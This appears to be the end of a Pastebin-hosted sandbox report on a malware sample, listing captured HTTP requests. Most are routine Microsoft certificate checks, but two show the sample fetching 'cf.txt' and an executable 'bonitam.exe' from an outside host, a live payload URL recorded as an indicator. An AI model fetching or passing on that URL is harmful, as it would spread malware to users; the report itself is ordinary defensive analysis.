  2456. "body": "",
  2457. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2458. "user-agent": "Microsoft-CryptoAPI/6.1",
  2459. "method": "GET",
  2460. "host": "ocsp.msocsp.com",
  2461. "version": "1.1",
  2462. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2463. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  2464. "port": 80
  2465.  
  2466.  
  2467. "count": 15,
  2468. "body": "",
  2469. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2470. "user-agent": "Microsoft-CryptoAPI/6.1",
  2471. "method": "GET",
  2472. "host": "crl.microsoft.com",
  2473. "version": "1.1",
  2474. "path": "/pki/crl/products/microsoftrootcert.crl",
  2475. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2476. "port": 80
  2477.  
  2478.  
  2479. "count": 2,
  2480. "body": "",
  2481. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2482. "user-agent": "Microsoft-CryptoAPI/6.1",
  2483. "method": "GET",
  2484. "host": "crl.microsoft.com",
  2485. "version": "1.1",
  2486. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2487. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2488. "port": 80
  2489.  
  2490.  
  2491. "count": 1,
  2492. "body": "",
  2493. "uri": "http://www.pedidoslalacteo.com.ar/cf.txt",
  2494. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  2495. "method": "GET",
  2496. "host": "www.pedidoslalacteo.com.ar",
  2497. "version": "1.1",
  2498. "path": "/cf.txt",
  2499. "data": "GET /cf.txt HTTP/1.1\r\nAccept: */*\r\nUA-CPU: AMD64\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: www.pedidoslalacteo.com.ar\r\nConnection: Keep-Alive\r\n\r\n",
  2500. "port": 80
  2501.  
  2502.  
  2503. "count": 1,
  2504. "body": "",
  2505. "uri": "http://www.pedidoslalacteo.com.ar/bonitam.exe",
  2506. "user-agent": "",
  2507. "method": "GET",
  2508. "host": "www.pedidoslalacteo.com.ar",
  2509. "version": "1.1",
  2510. "path": "/bonitam.exe",
  2511. "data": "GET /bonitam.exe HTTP/1.1\r\nHost: www.pedidoslalacteo.com.ar\r\nConnection: Keep-Alive\r\n\r\n",
  2512. "port": 80
  2513.  
  2514.  
  2515.  
  2516. * Network Communication - SMTP:
  2517.  
  2518. * Network Communication - Hosts:
  2519.  
  2520. * Network Communication - IRC:
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!